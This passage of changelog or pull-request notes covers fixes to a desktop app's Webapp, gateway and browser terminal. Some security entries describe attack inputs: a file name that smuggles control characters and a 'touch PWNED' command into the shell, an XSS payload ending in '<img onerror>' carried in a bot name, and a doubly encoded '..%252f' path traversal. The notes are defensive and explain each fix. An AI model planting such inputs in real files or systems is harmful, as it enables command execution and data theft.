Web Access kept the Webapp's own URL in dashboard.public_url. Stop and a LAN start deleted that
key, an own-URL start overwrote it with the Webapp's address, and every start or stop removed
HERMES_DASHBOARD_PUBLIC_URL from .env. Both belong to the standalone dashboard, which uses them for
its trusted Host check, its OAuth callback and its sign-in gate, so a dashboard published through
a tunnel or reverse proxy stopped working after its next restart.

Web Access now writes only the webapp: block. The own-URL mode stores its address in
webapp.public_url, which the gateway's Webapp listener reads; a LAN start drops it, because the
LAN callback follows each request; Stop changes only webapp.enabled. The pane's address comes from
webapp.public_url too, so it shows what Web Access saved rather than the dashboard's setting.
The status mapped every enabled Webapp whose host was not a wildcard to the "My own URL" mode.
The documented setup for hermes webapp (webapp.enabled: true on loopback) therefore showed as
"My own URL" with an empty link, and the pane offered no way to tell it apart from a Webapp
published through a tunnel.

The mode now follows the config: webapp.public_url means the user's own URL, a wildcard host means
the network, and any other enabled host means this computer only (mode "local"). For a local
Webapp the pane links to the address the gateway serves, says only this computer can open it, and
hides the network choice until it is stopped.
Every Web Access start wrote port 9120 into the webapp block and registered the LAN sign-in
callback on 9120, so a port the user had chosen was silently replaced. A standalone profile with
its own gateway needs a port of its own; after Start it collided with the default gateway's
Webapp on 9120, and while Web Access was off the pane showed 9120 whatever the config said.

Start and Stop no longer write webapp.port. The LAN callback, the status the pane shows and the
addresses built from it all use the configured port, whether or not the Webapp is on.
The Web Access routes answered any authenticated caller. The pane is shown only in the native app
on its local connection, but a browser signed in over the network (a cookie session behind the
LAN or own-URL sign-in gate) could call /api/webapp-access/stop?profile=default or start and
rewrite which network the machine serves the Webapp to.

Every /api/webapp-access route now requires the machine's owner: the native app's same-user
gateway ticket, which works whether or not the listener is gated, or the loopback session token
on a listener without sign-in. Behind the sign-in gate any other caller gets 403 and nothing is
written or restarted.
Start only wrote the webapp: config and restarted the gateway. Nothing built
apps/desktop/dist-webapp except hermes webapp, so on an install where that never ran the pane
reported the Webapp running while every page returned a 404 that named a different product.

Start now builds the bundle with prepare_webapp_renderer, the function hermes webapp uses, which
reuses a current bundle. It runs after the request is checked and before anything lasting: a
failed build registers nothing with the Portal, writes no config, restarts nothing, and its error
names hermes webapp --build-only. The pane waits up to 35 minutes for Start, since that build can
wait 30 minutes for another build of it.
hermes update rebuilt the TUI, the web UI and the desktop app but never apps/desktop/dist-webapp.
A gateway with webapp.enabled kept serving the bundle built before the update, which then talked
to the updated backend with an outdated contract.

The update now rebuilds that bundle when any home sharing this install has webapp.enabled, with
prepare_webapp_renderer, the function hermes webapp uses (a current bundle is reused). Like the
other products it is attempted on its own: a failure is reported with the rest at the end and
never skips another product.
When a saved Web Access change was waiting for the gateway to restart (a running chat had refused
the restart), the pane's "Restart gateway" button ran Start or Stop again. Start registered the
sign-in callback with the Nous Portal once more and rewrote the config just to restart.

A new POST /api/webapp-access/restart restarts the gateway serving the profile onto the saved
config and does nothing else: no Portal registration, no build, no config write. It is limited to
the machine's owner like the other Web Access routes, and Electron routes it to the primary
backend like them. The button calls it in both pending states, and the pane then waits for the
Webapp to come up when the saved config turns it on.
When a running chat refused the gateway restart after Start or Stop, the pane raised an error
toast titled "Couldn't change web access" whose body began "Saved." and then pasted the CLI's
refusal, including a POST /api/gateway/restart?interrupt=true line. The title said the change
failed, the body said it was saved, and the detail was meant for a terminal.

The restart answer now carries restart_busy when live sessions refused it (the shared helper adds
it beside its existing text, so other callers are unaffected). The pane shows a warning titled
"Restart needed" that says the change is saved and why the gateway did not restart: a chat is
running, or the restart could not be started. The CLI text stays out of the toast. Every locale
has the two new messages and the old one is gone.
Every Web Access start posted the sign-in callback to the Portal's self-hosted-client endpoint
with HERMES_DASHBOARD_OAUTH_CLIENT_ID, the client the standalone dashboard also uses. If the
Portal replaces that client's redirect URI rather than adding one, each repeated post re-points
the dashboard's own OAuth callback at the Webapp, even when nothing about the Webapp changed, and
a Portal outage blocked turning Web Access back on with the same address.

Web Access now records the Portal, client id and callback it registered in the profile's webapp
folder and skips the post when all three are unchanged; a new LAN address or URL, another client
id or another Portal registers again. hermes dashboard register drops that record, because it
updates the same client and may have replaced the Webapp's callback. Whether the Portal replaces
or adds the redirect URI is not settled here.
Settings hides the Web Access entry in the Webapp and on a remote connection, but a
/settings?tab=web-access link still rendered the pane there, and the pane asked the backend for
its status.

That link now lands on Gateways, the way the old Connections tab does, and the pane itself renders
nothing and sends no request where Web Access is unavailable.
The pane compared the gateway's reported URL with the configured port through new URL() with no
error handling, so a malformed address threw during render and took the whole pane down instead
of showing its state.

An address that does not parse now counts as not serving this config, so the pane shows the
change as waiting for a restart.
"This network" serves the Webapp over plain HTTP, so the sign-in and everything after it cross the
network unencrypted and the session cookies cannot be marked Secure. The pane only said to use a
trusted network.

The network choice now adds a line saying the connection is not encrypted and that others on the
network could read what is sent and received. Every locale has it.
The Web Access section described an earlier behaviour: a fixed port 9120, no build, and nothing
about which settings it writes. It now says that Start builds the Webapp when it is missing or out
of date, registers the sign-in address only when it changed, and keeps webapp.port; that the own
URL is saved as webapp.public_url while dashboard.public_url and .env are left to the standalone
dashboard; that network mode is unencrypted; that only the native app on this computer can change
it; what Restart gateway does; how a Webapp turned on for this computer only shows; and that
hermes update rebuilds the Webapp when a profile has it turned on.
The Web Access fixes added branches to WebAccessForm (the local-only address, the restart that
only restarts, the plain notice for a held restart) and took its cyclomatic complexity to 22,
over the code-health target of 20 for new code. The address the pane shows and the notice for a
saved change waiting on a restart are now small functions beside the form. Behaviour is
unchanged; the pane's tests pass as before.
A file dropped into the terminal had its path typed at the prompt with only the single quote
escaped, and the text went to the shell as raw keystrokes. A file name holding control
characters could therefore edit and run the command line by itself: a name such as
"notes<^U>touch PWNED<CR>.txt", planted in a cloned repository or an extracted archive and
dragged in from the app's file tree, ran `touch PWNED` without the user pressing Enter. The same
quoting served native Desktop before the browser terminal shared it.

A dropped path that holds a C0 or C1 control character or DEL is now never typed. A warning
names each skipped path, with the control characters spelled as \xNN, and the other dropped
paths are still typed. The paths now go through xterm's paste, the same path a clipboard paste
takes, so a shell that turned bracketed paste on receives them wrapped in the paste markers and
inserts them without acting on them.
The shared code card body gave every <pre> inside it the width of its longest line. A chat code
fence needs that, so its card scrolls sideways and shows the fade at the cut edge, but the log
pane uses the same body: in Command Center and the MCP editor each log line stopped wrapping and
ran as one long row behind a horizontal scrollbar, in native Desktop as well as the Webapp.

The longest-line width now sits on the code fence's own <pre> only. Logs wrap at the pane's
width as they did before.
The touch changes for the browser-hosted Desktop keyed on the coarse-pointer media query, which
native Desktop matches too on a touchscreen laptop or tablet. There they swapped the user bubble
for the touch layout, replaced the hover action row with the touch pair, enlarged the composer
controls, stopped the composer from taking focus after a send, and made a right-click on a user
message do nothing, so the reaction picker could not be opened with a mouse.

Touch handling is now the browser-hosted Desktop's alone. The touch layout and the coarse-pointer
styles apply only in a browser tab, and native Desktop treats every pointer as it did before. In
the browser tab, the user bubble now decides by the pointer that raised the context menu: a touch
long-press stays the platform's (selection handles and Copy), and a mouse right-click opens the
reaction picker on any device.
`hermes webapp --sign-out` closes a tab's sockets with code 4401. The browser terminal read that
close as a dropped connection: it redialed five times, each time asking the ticket route for a
new ticket that the gateway refused with 401, and then printed "Terminal disconnected", while the
tab never showed how to sign in again.

A 4401 close, and a 401 from the ticket route, now end the terminal as signed out with no further
attempts. The tab keeps its terminal and scrollback, the terminal says to sign the browser in
again and press Enter, and a Webapp tab signed in by launch link shows the same sign-in view the
chat shows. Behind the sign-in gate the terminal only stops: the chat's next ticket request
already takes the tab to the login page.
After sign-out the Webapp's sign-in view covers the tab, but the conversation stayed mounted
underneath it: every message was still in the page, readable by anyone who removed the overlay
or read the page's source in developer tools.

While the Webapp sign-in view is up, the transcript now unmounts its messages, so none of the
conversation stays in the page. They mount again from the session once the tab is signed in.
Other startup failures keep the transcript as before.
Two Webapp tests spied on the `localStorage` instance to make storage refuse reads and writes. On
Node 22, which the desktop package supports, jsdom keeps that spy as a stored item rather than a
method, so the page's calls still succeeded: the settings test failed there ("promise resolved
instead of rejecting"), and the zoom test passed without ever blocking storage. Spying on
`Storage.prototype` instead, as suggested, fails the other way on Node 26, where the test setup
replaces jsdom's storage with a plain object whose methods are its own.

A small test helper now returns whichever object holds the page storage's methods, and both tests
spy there and assert that their spies were called. They pass on Node 22.23.1, 24.15.0 and 26.7.0.
A `file:` URL holding `..%252f` passed the renderer's encoded-separator check, because only after
one decode does it read `..%2f`. The gateway then decoded the path a second time when the first
reading did not exist, turned `..%2f` into `../`, and served a file from outside the folder the
URL names: the preview or clip on screen was not the file its label showed.

The renderer now refuses a URL whose decoded path still encodes a separator (`%2f`, and `%5c` in a
Windows path) or a dot-segment, as it already refused an encoded separator. The gateway never
decodes a `file:` URL's path twice, and its one-decode rescue for a doubly encoded plain path
(#103425) no longer applies when decoding would add a `.` or `..` segment.
/api/fs/default-cwd?profile=<name> read terminal.cwd from the serving process's own config and
TERMINAL_CWD from its own environment, whatever profile was asked for, and fell back to the folder
the gateway was started from. On a gateway serving several profiles, a Webapp session or browser
terminal opened in one profile started in the default profile's folder, and a profile without a
folder of its own started wherever the gateway happened to be launched.

The route now reads the requested profile's terminal.cwd through the same terminal policy its turns
run under (config.yaml over .env), keeps the gateway's own startup value for its own profile, and
falls back to the home folder.
A reattach replay that timed out was halved for the session's next attach and never grew again.
Repeated stalls took it down to nothing, so every later reattach, even from a tab on a fast link,
replayed no output at all. The host terminal's metadata frame also reported only whether the ring
buffer had dropped bytes, so a replay that left out output the session still held said
truncated: false and the Webapp never showed its "output was trimmed" notice.

A timed-out replay now shrinks no further than 16 KiB, a replay that arrives within half its
deadline doubles the limit back toward the whole buffer, and the metadata frame is built after the
replay is cut, so truncated is true whenever the replay leaves out older output.
/api/chat/image-upload takes the image as a base64 data URL in a JSON body. FastAPI read that whole
body into memory before the handler compared the decoded image with its 25 MiB cap, so a client
could make the server buffer a body of any size, and the Webapp now uses the route for every
pasted or dropped image.

The upload limit middleware that already bounds /api/chat/file-upload now bounds this route too,
at the base64 length of the largest image it stores plus room for the JSON around it: a request
whose Content-Length declares more gets 413 at once, and a body that streams past the cap gets
413 at the first chunk over it, before the handler runs. The image cap now lives beside that
bound so the two cannot drift apart.
On main, native Desktop attached a file the gateway could read by its path, outside the session's
workspace, by copying it into the profile's attachments/ folder whatever its size. Webapp support
capped that copy at 256 MiB, so a larger archive or video that attached on main now failed with
"attachment too large". The copy also read the whole file into memory first.

A host file named by path is now copied in 1 MiB chunks with no cap, so its size never reaches
memory. The 256 MiB cap stays on bytes sent inline in a data URL, where the base64 text and its
decoded copy are both held in memory: it is the cap Electron's own attach reader already applies,
so native Desktop never sends more. A browser upload's copy keeps the tighter browser limit.
Starting Web Access built the Webapp bundle and registered the sign-in callback with the Portal
inside the profile scope that holds the process-wide skills lock. A cold build takes minutes and
can wait up to 30 minutes on another build, and registration waits on the network, so every
config, skills and tools request for any profile hung behind it: Desktop's settings and other
panes stopped answering until Start returned.

The start route now resolves the gateway's profile once, then runs the build and the registration
in that profile's home and secret scope without the skills lock. Saving the config and restarting
the gateway keep their scope and the config lock, and a failed build still registers, writes and
restarts nothing.
Behind the sign-in gate, hermes webapp opened the gateway's loopback address even when
webapp.public_url was set. Sign-in started there and kept its state cookie on the loopback
address, but its callback is built on the public URL, so an OAuth sign-in such as the Nous
account's came back to an address without that cookie and failed with "Missing PKCE state
cookie".

A gated launch now opens the listener's own public URL, path prefix kept, with the profile
query after it, so sign-in starts and finishes on the same address. Without a public URL it
still opens the loopback address, and native clients keep dialling loopback. The CLI and
configuration docs say which address is opened.
The Webapp's settings accepted any loopback address as a local-only host, but the listener's
sign-in gate leaves only 127.0.0.1, ::1 and localhost open. A host such as 127.0.0.2 or the
long form of ::1 (0:0:0:0:0:0:0:1) was read as local-only and then made the gateway demand a
sign-in provider; without one the Webapp stayed unavailable with a reason about sign-in that did
not match what the user had set.

The settings now spell a host the way the gate compares it (an IP address in its short form, a
name in lower case) and ask the gate whether a bind stays local-only. Other spellings of
127.0.0.1, ::1 and localhost bind that address with no sign-in; any other loopback address keeps
the Webapp off with a reason naming the hosts that work. The gate's own policy is unchanged, and
the configuration docs list the accepted hosts.
A paste into a host terminal waits, with no deadline, for a foreground program that is not reading
its input (sleep, npm install). The socket reader only noticed a closed tab by queueing an end
marker behind that write, so the input pump never got past the write and the route never reached
the detach in its finally. The shell stayed marked attached to a socket that was gone, the
15-minute reaper of detached shells never retired it, and repeated cases used up the 16 host
terminal slots. A full input queue behind the paste (keys typed while it waited) also kept the
reader from queueing its end marker at all.

The reader now reports that the socket ended as soon as it does, before queueing anything. Input
the tab sent before it closed still reaches the program as far as the program takes it; the
first time a write then has to wait for room, it is cancelled, the rest is dropped as on a
takeover, and the route detaches the shell, which keeps running for a reattach until its
retention runs out.
With a profile whose workspace is an SSH machine, the Webapp's file tree lists that machine's
files through /api/fs/list, but Download checked and fetched the file through /api/files/download,
which reads the gateway's own disk. A listed file therefore failed to download, or the browser
saved a different file that happened to sit at the same path on the gateway host. Native Desktop
downloads through /api/fs/download, which reads the SSH machine.

The browser now checks and downloads through /api/fs/download too. A download link cannot send
the session header, so a download ticket now authorizes that route: minting it captures the file
where /api/fs/download finds it (on the SSH machine, or on this host under that route's read
rules) and the profile homes it belongs to, and redeeming it serves that same file once, while
those homes are live. /api/fs/download also answers HEAD, without reading the file from the SSH
machine.

/api/files/download goes back to main's version. The HEAD answer, the profile and session_id
lookup and the file: URL reading added there served only the browser's download; it keeps
serving managed files and Electron's ?token= link as on main.

Audio and video still play through /api/files/stream, as remote native Desktop's do.
Stop saved `webapp.enabled: false` and asked the gateway to restart, but the Web Access pane waited
for the restart only after Start. Until the old gateway exits it still reports the web app as
served, so right after Stop the pane showed "Restart needed" and a Restart gateway button, and its
one refetch could reach that old gateway or fail while the new one came up. Nothing asked again, so
the pane kept saying a restart was needed after Stop had worked. Restart gateway on a turned-off web
app had the same gap.

Start, Stop and Restart gateway now share one wait: once a restart starts, the pane polls for up to
90 seconds until the gateway has applied the saved settings, serving the web app when they turn it
on and serving none when they turn it off. While it waits the pane shows "Stopping" for a stop as it
shows "Starting" for a start, and a stop that does not finish in time says so, as a start does.
In the Webapp a pasted or dropped image is stored on the host through /api/chat/image-upload, which
takes images up to 25 MiB. Sending the message reads that stored image back through
/api/fs/read-data-url, which stops at 16 MiB, and uploads it again for the session. An image between
the two showed as attached, then the send failed with 413.

The browser now refuses an image over 16 MiB when it is pasted or dropped, with an error that names
the limit: the same limit browser file uploads and terminal drops already apply. Skipping the
read-back by reusing the stored image would need the browser to know that the session sends to the
same profile the image was pasted into, which it cannot tell reliably (a named profile and the
gateway's own default look different), and a draft restored after a reload no longer knows which
images it stored. The native app reads local files itself and keeps its own limits. The desktop
guide now lists pasted and dropped images under the 16 MiB limit.
The browser smoke opened a new tab for each of its four viewports and loaded the same input URL in
each. That URL is usually the one-use launch link `hermes webapp --no-open` prints, and the Webapp
keeps the grant the link buys in the sessionStorage of the tab that spent it. The first tab spent
the ticket, the second stopped at "This launch link was already used or has expired", and the smoke
failed on a Webapp that worked.

All viewports now run in one tab. The first loads the input URL; each later one resizes the tab,
leaves the previous page for about:blank and reopens the address the first one landed on, so the
tab's grant signs it in. Every viewport still gets a fresh page load and the same checks; console
errors, page errors and failed requests are counted against the load that caused them, and the HTTP
status is read for the address that load requested. The mobile browser-controls override is reset
before each load, since it now outlives its page.
A blob face carried the bot's name into its SVG's data-bot-face attribute through JSON.stringify,
which escapes for JavaScript, not HTML. A name holding a quote and an angle bracket closed the
attribute and the svg tag, and the rest of the name became markup: an <img onerror> in it ran.
A local profile's name cannot hold those characters, but faces also show names from connected
remote gateways and the create dialog's preview, and in the Webapp the page shares its origin
with a host terminal.

The name is now escaped for an HTML attribute and inserted through a replacer function, so a
`$&` or `$'` in a name stays literal too. The roster PNG backfill still finds the face by the
exact name.
A browser that signs in to the gated Webapp keeps the sign-in provider's access and refresh token
in its cookies. Only the cookie path checked the login's binding to the browser credential, so
after `hermes webapp --sign-out` those tokens still worked when presented on their own: the access
token as `Authorization: Bearer` (enough to mint a host-terminal ticket) and the refresh token on
`/auth/native/refresh`, where the bundled password provider hands out a new 30-day refresh token
every time. Refusing a recorded list of those tokens would not hold: the password provider decodes
base64 leniently, so another spelling of the same token, such as the quoted value the cookie
stores, verifies too.

On the gateway's Webapp behind the sign-in gate, a provider token now works on its own only when
the listener gave it to a native app's RFC 8252 sign-in (`/auth/native/token`, then each
`/auth/native/refresh`). The listener keeps a digest of each such token until it expires, in
`webapp/native-sign-in-tokens.json` in the gateway home, so native apps stay signed in across a
sign-out and a restart. A browser login's tokens work only as that login's cookies, which
sign-out, or a credential replaced while no gateway ran, already ends. The standalone dashboard
and the gateway's private listener keep main's behaviour. `hermes webapp --sign-out` and the docs
now say that those tokens end and that native apps stay signed in.
Every gated Webapp bound its browser logins with a cookie named `hermes_webapp_signin`. Cookies are
not scoped to a port, so a browser that used two gateways' Webapps on one hostname (two profiles'
gateways on different ports, say) kept one such cookie for both: signing in to the second replaced
the first one's binding, and the first then answered as signed out. Where both gateways accept the
same account tokens (one sign-in provider setup), this cookie was the only thing they fought over.

The cookie is now named `hermes_webapp_signin_<gateway>`, with a suffix from a digest of the gateway's
home. It stays the same across restarts and differs for every gateway on one machine, so each
Webapp keeps its own binding, and signing one gateway's browsers out leaves the other's alone.
Where nothing can check who redeems a launch link (macOS and the BSDs), `hermes webapp` printed the
gateway's browser credential as `#hermes-session=<token>`. That link signed a browser in as the user
until the next sign-out, and when Hermes ran the command through its terminal tool the credential
landed in the transcript.

The gateway now mints a launch ticket there too: the same one-use, 60-second link Linux and Windows
get, which spends without the peer check, as a window ticket does. `hermes webapp` prints it with its
lifetime and still never passes it to a browser launcher, whose arguments other local users can read.
A copy that leaks is spent once the user opens it and dead after 60 seconds, instead of working until
the next sign-out. The docs describe the macOS link as the one-use link it now is.
`hermes webapp` prints a link that signs a browser in as the user: on gateways before the previous
change the browser credential itself after `#hermes-session=`, and now a one-use launch ticket after
`/webapp/launch#ticket=`, which on macOS spends without a check on who opens it. Web URLs pass
through the redactor by design, so when Hermes ran the command through its terminal tool the link
went into the transcript intact.

The redactor now masks the value after `hermes-session=` and the ticket in a `/webapp/launch`
fragment, wherever they appear, and leaves the rest of the link readable. A floor of 20 characters
keeps placeholders and code that builds such a link (`hermes-session=${token}`) unchanged. The
`security.redact_secrets` switch still turns it off with every other pattern.
The real-gateway checks of `hermes webapp`'s launch link expected the Linux and Windows link: a
`/webapp/launch#ticket=` link marked not private. On macOS the gateway handed out the credential link
instead, so the fixture failed to find a ticket and every check that shares it failed there. CI's
macOS job runs only platform-marked tests, so nothing caught it.

With the macOS link now a one-use ticket too, the fixture takes either launch path: the host's own,
or that of macOS and the BSDs, which it can take on any host by answering as those platforms do
(no peer check, links printed for the user). Every check runs on both paths, and the launch check
expects the link to be marked private exactly where the platform cannot check who redeems it.
With the Webapp on every interface (`webapp.host: 0.0.0.0`) and no `webapp.public_url`, `hermes
webapp` on the host opened the loopback address. Web Access Start registers Nous sign-in for the
LAN address's callback, so a sign-in started there sent the Portal a callback for 127.0.0.1 that it
had never seen, and failed.

For a launch behind the sign-in gate the gateway now opens, in order: `webapp.public_url` when set,
as before; on the LAN, the address in Start's `webapp/sign-in-registration.json`, while that is
still this machine's LAN address and the Webapp's port (a moved address or port would send the
browser elsewhere); otherwise the loopback address, which still serves a password provider and
sign-in set up by hand for it. Native clients keep the loopback address. The docs say so.
A file: URL that names report%252fsecret.txt was served as report/secret.txt by /api/fs/read-text,
/api/fs/read-data-url and /api/fs/download. The route resolved the URL once, which decodes it to
the name report%2fsecret.txt, then checked that the result is a regular file by resolving that
path again with the rescue for names that arrive encoded twice still on. That rescue decoded
%2f into a separator and read report/secret.txt, a file the URL never named. The rescue already
refuses a decode that adds a .. segment, so only a plain encoded separator got through.

The regular-file check now resolves the path it is given without decoding it again. A path
that arrives encoded once more than HTTP decodes (issue #103425) is still rescued by the first
resolution, as on main.
A viewer on a slow link that redials a terminal timed out on every second reattach. A replay that
missed its deadline was halved for the next attach, and a replay that was sent within half its
deadline doubled the limit again. The send returns as soon as the socket's buffers take the
frame, not when the bytes reach the browser, so the halved replay always looked quick and the
next attach sent the size that had just timed out. The viewer waited out the replay deadline (up
to 37 s for the 1 MiB buffer) and was dropped on every other redial.

A replay that times out now halves the session's replay limit, down to the 16 KiB floor, and the
limit never grows back: the send's timing cannot tell a fast link from full buffers, so no later
replay repeats a size that timed out. A reattach that replays less than the session holds still
says so in the host terminal's metadata frame, so the Webapp shows its "output was trimmed"
notice.
On a profile whose terminal backend is SSH, an image chosen with the Webapp's file picker showed no
preview and could not be sent. The picker stages the file on the gateway host, in the profile's
uploads folder, and the Webapp reads it back through /api/fs/read-data-url to preview and send
it. That route sent every path except the host image cache to the SSH machine, which has no such
file and answered 404. Saving the file through /api/fs/download failed the same way.

A file the upload route staged for the profile is now read on the gateway host, like a pasted
image. Only a regular file directly in that profile's uploads folder with the staged name prefix
counts, after resolving symlinks and .., so the exemption reads no other host file for an SSH
profile: a staged file of another profile, another file in the folder, a file below it, a path
that leaves it through .. and a link to a file elsewhere all still go to the SSH machine. A
relative path never counts as a host file.
When the Webapp build in `hermes update` failed, the previous bundle stayed on disk and the gateway
went on serving it as current: `hermes webapp --status` said "Serving", the launch link opened it,
and browsers loaded a renderer built for the code before the update against the updated backend.
The gateway only checked that the bundle's index.html exists.

The update now marks the bundle it could not rebuild out of date, with a file inside the bundle
folder, and keeps the bundle itself. While the mark is there the gateway reports the Webapp
unavailable with "The Webapp is not built for this version of Hermes: hermes update could not
rebuild it. Run hermes webapp to rebuild it.", mints no launch link, and answers the page with
that message (503) instead of the old renderer. The next build that succeeds (`hermes webapp`, Web
Access Start or the next update), or that finds the bundle current, removes the mark and the
running gateway serves the Webapp again without a restart. Publishing a build replaces the whole
folder, and the build receipt's output hash covers the mark, so a marked bundle is never reused as
current. `--skip-build` writes nothing and leaves the mark. With no bundle built there is nothing
to mark. The desktop guide says what happens when the update's build fails.
Pressing Send with the mouse while an `@`, `/` or `:` completion list was open left the list on
screen over the now empty composer, and the next Enter or Tab picked a row from it into the new
draft. Native Desktop used to close the list because the press took focus from the editor; the
browser host's iOS guard on the Send and Queue buttons kept focus in the editor everywhere,
Electron included, so that blur never came.

The composer now closes the list whenever it sends or queues from its buttons, on every host. The
focus guard runs only in the browser-hosted Desktop, where it keeps the on-screen keyboard up, so a
mouse press on Send behaves on native Desktop as it does on main: it blurs the editor, which also
clears a composition the IME never ended.
A remote gateway's audio or video named with a `%` that starts no escape, such as `100%.mp4` or
`50% off.mp4`, refused to play: the media protocol now reads `file:` URLs with the shared parser,
which treats that `%` as a malformed escape, and answered 415. Main forwarded the URL to the
gateway, which reads such a name as written.

The media protocol escapes a bare `%` as `%25` before it parses a `file:` URL, so these names play
again. An encoded separator, `%2f` or `%5c`, once or twice encoded or spelled out by an escape, is
still refused.
Streaming voice in the Webapp never streamed: spoken replies and live dictation always fell back to
the whole-reply path. The browser dialed `/api/audio/speak-stream` and `/api/audio/transcribe-stream`
with the one-use ticket it had minted for the gateway socket, and a socket ticket opens only the
socket it was minted for, so both voice streams refused it.

Each voice stream now has a socket name, and the Webapp mints its ticket from
`POST /api/webapp/audio-ticket?socket=speak-stream` or `?socket=transcribe-stream`, on the same
surface and with the same credentials as the gateway ticket. The browser-hosted Desktop asks for one
on every voice dial. A voice stream's ticket opens that stream once and nothing else, and the
gateway's and the host terminal's tickets open neither stream. Native Desktop is unchanged: its
unnamed tickets and session token still open the voice streams.
The carried browser renderer laid a full-window backdrop under a revealed narrow-window sidebar
overlay on every host, so a phone tap outside it closes it. In native Desktop that backdrop also
caught the first click anywhere else in a narrow window: the click closed the overlay and never
reached the transcript, the composer or the button under it, where main let the click through and
kept a pinned overlay open until Escape, the toggle or hover-out.

The backdrop now renders only in the browser-hosted Desktop. A native narrow window behaves as on
main, and DESIGN.md says which host dismisses on an outside tap. A native test pins it, and the
existing outside-tap test now runs as the browser host.
The carried browser renderer made the titlebar's sidebar buttons follow the narrow overlay on every
host: in a narrow window they took their Show/Hide label and aria-expanded from what the overlay
showed, opened or closed it explicitly, aimed the right button at Review when it was up, and a
close named for the sessions sidebar also closed a zone mate (Bots) the overlay showed. In native
Desktop that changed what a click did in a narrow window: a hover reveal closed instead of pinning,
and the label stopped matching the docked side that ⌘B and ⌘J toggle.

The overlay-driven buttons, aria-expanded and the zone-wide close now apply only in the
browser-hosted Desktop, where a touch screen has no hover to reveal by. A narrow native window
labels the buttons from the docked sides and flips the overlay through the shared toggle, as on
main. Native tests pin both; the existing overlay-driven tests now run as the browser host.
The carried browser renderer armed Enter to start another shell after any failed terminal start,
because a browser tab's start can fail for a passing reason (a gateway restart, a ticket that
expired) and retry in the same scrollback. In native Desktop the shell is a local process spawned
over IPC: a failed spawn now read "Press Enter to retry", and Enter spawned the same failing shell
again, where main printed the error and left the tab closed.

The retry after a failed start now applies only in the browser-hosted Desktop. Native Desktop
prints main's "Terminal failed to start: <reason>" line, and Enter starts nothing. A native test
pins it; the browser retry stays covered by the existing attach-failure test.
Chromium hands a mouse's back and forward buttons to the renderer, and unhandled they walk the
app's own history. Main claimed them over every preview pane and passed them to the webview when
there was one. The carried browser renderer claimed them only over a live webview, so that a
browser tab's own back button keeps working; in native Desktop that let a back press over a file,
image or remote HTML report navigate the app's router instead.

The pane now leaves the buttons alone only in the browser-hosted Desktop. Native Desktop claims
them over every preview, as on main. A native test pins it, and a browser test pins that the tab
keeps its back button.
The carried browser renderer budgeted the composer's collapse stages from the live
--composer-control-size token, so the browser host's 44px touch controls drop the model pill,
voice and menu earlier and split into one column below two targets. That token is 1.5rem on every
host, and a theme's base font size scales it, so in native Desktop a theme with larger text moved
every stage (at 30px controls the composer went minimal 18px early), a composer narrower than two
controls split into three rows, and the minimal controls row packed to the end and wrapped.

The token budget, the one-column layout and the end-packed, wrapping row now apply only in the
browser-hosted Desktop. Native Desktop collapses at main's fixed widths in main's row, and
DESIGN.md says which host budgets the token. Native tests pin both; the existing touch-budget
tests now run as the browser host.
The Webapp always shows the statusbar's profile dropdown instead of the rail's squares, so the
carried browser renderer gave that dropdown the rail's right-click launch menu (open in new window,
set as default) and its refresh of the profile list on mount, focus and tab return. It did so on
every host: native Desktop's picker, shown when the rail is hidden, gained the right-click menu
and re-fetched the profile list each time the window regained focus.

The launch menu and the refresh now apply only in the browser-hosted Desktop. The refresh hook
takes an enabled flag; the rail calls it as before. A native test pins main's picker, and a browser
test pins that the Webapp's picker keeps both.
The carried browser renderer added paragraphs, pre blocks and code inside an assistant message to
the stylesheet's selectable-text list on every host, so a touch long-press selects them in the
Webapp. Text in a message was already selectable; the new selectors only changed text inside a
button or [role=button] there, which main left unselectable. In native Desktop that turned a drag
across a clickable row's code span (a tool row's command, say) into a text selection.

The rule now applies only under the browser host's marker. Native Desktop keeps main's rule. A
stylesheet test pins that the rule is the browser host's, next to the coarse-pointer one.
The carried renderer changed isPaneVisible for every host: a pane whose side of the layout is
collapsed is no longer reported as on screen. On main a terminal in a right column closed with
⌘J still read as visible, so the statusbar's terminal button showed it open, the terminal
keybinds acted on a terminal no one could see, and the first press of its toggle closed it instead
of showing it. The change is kept as a native fix and listed in the PR description.

The new test boots the real tree and side stores as an Electron renderer (bridge present, no
browser-host marker) and pins the contract: a pane on a collapsed side reads as hidden, the
reactive $paneVisible follows, and the toggle reveals it on the first press. It fails with main's
isPaneVisible.
On main, "Open image" on a generated image that failed to load handed the system browser the
image's external URL. For a file on a remote gateway that URL carries the connection token, which
then sat in the browser's history. The carried renderer saves such a file through the bridge's save
dialog instead, on every host. It is kept as a native security fix and listed in the PR description.

The new test renders the link in an Electron renderer (bridge present, no browser-host marker) and
pins both paths: a remote gateway file goes to saveGatewayFile with its path, connection and name
and never to openExternal or with the token; a web image still opens its own URL, as on main. The
remote case fails with main's component.
The carried browser renderer sized a chat code fence's <pre> to its longest line, so the code
card's scroller scrolls the block sideways in place, and gave that scroller a fade at the cut
right edge until the block reaches its end. A touch screen shows no scrollbar there, so the fade
is the browser host's cue that a line runs on. In native Desktop it changed every wide fence: the
card scrolled sideways instead of the <pre>, and the fade covered the last column of code.

Both now apply only in the browser-hosted Desktop. Native Desktop keeps main's fence, whose <pre>
scrolls its own long lines, and main's block with no sideways fade. Native tests pin both; the
longest-line width and the fade tests now run as the browser host.
Web Access Start registers the Webapp's sign-in callback with the Nous Portal and saves the client
id it gets back as HERMES_DASHBOARD_OAUTH_CLIENT_ID in .env, the same client the standalone
dashboard's Nous sign-in reads. The Desktop guide and the module's docstring said Web Access left
.env alone. Both now say what it writes: the webapp: block of the config, and that client id when it
registers a callback.
a175a3db reworded the summary `hermes webapp --sign-out` prints behind the sign-in gate; the
Desktop core e2e spec still looked for the old sentence and failed in dispatch run 40003439648
right after the sockets had closed, so the rest of the sign-out check never ran.
The Webapp's gateway ticket validated `profile` and then dropped it, so `/api/ws` answered every
request that names no profile for the gateway's launch profile. A tab loaded on `?profile=work`
polled `session.active_list` without a profile, never saw its own running session, and after 45 s
of a quiet tool call showed "Hermes ended this turn without a reply" while the turn kept running.

The ticket now names the profile, and the upgrade binds the socket to that home's authority, the
way a native ticket does (`gateway/run_api.py`). The socket keeps its host scope, so a request that
names another served profile still reaches it. A tab with no profile is unchanged.

Reported by @BearHuddleston on #141864.
Greptile finding "Browser tokens survive sign-out": behind the sign-in
gate the WebSocket upgrade's `?token=` leg (web_server_chat._ws_auth_reason)
verified a provider access token without the Webapp's native-sign-in
check the bearer header applies (webapp_sign_in.token_works_alone). A
token copied out of a browser login's cookies therefore still opened
/api/ws (and every other socket behind _ws_auth_reason: /api/pub,
